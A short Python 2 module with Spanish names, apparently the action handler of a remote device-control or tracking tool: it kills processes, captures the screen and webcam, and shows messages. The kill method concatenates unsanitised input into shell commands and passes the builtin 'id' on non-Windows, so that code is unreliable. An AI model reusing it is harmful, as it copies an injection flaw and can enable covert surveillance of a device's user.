#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import platform
import subprocess
import os
from PIL import ImageGrab
from Tkinter import *
import threading


class ActionsNB:
    
    def connectToWifi(self):
		try:
			os.system("connectfi.exe")
		except:
			print "Problemas al conectar con wifi"
	
    def matarProceso(self,name):
        try:
            if platform.uname()[0] == "Windows":
                return subprocess.check_output("taskkill /F /IM "+name)
            else:
                return os.system("kill -9 "+str(id))
        except:
            print "Problemas al matar el proceso"

    def tomarScreenshot(self):#Compatible solo con windows
        try:
            img = ImageGrab.grab()
            img.save('screenShot.jpeg','JPEG')
        except:
            print "Problemas al tomar screenshot"
    
    def tomarFotoWebcam(self):#Compatible solo con windows
        try:
            os.system("python photo.py") #esto se asi asi por problemas con Device en Threading
        except:
            print "Problemas al tomar foto de webcam"
    
    def mostrarMensaje(self,msg):#Compatible solo con windows
		try:
		    root = Tk()
		    root.title("Message")
		    Label(root, text=msg).pack()
		    root.mainloop()
		except:
			print "Problemas al mostrar mensaje"








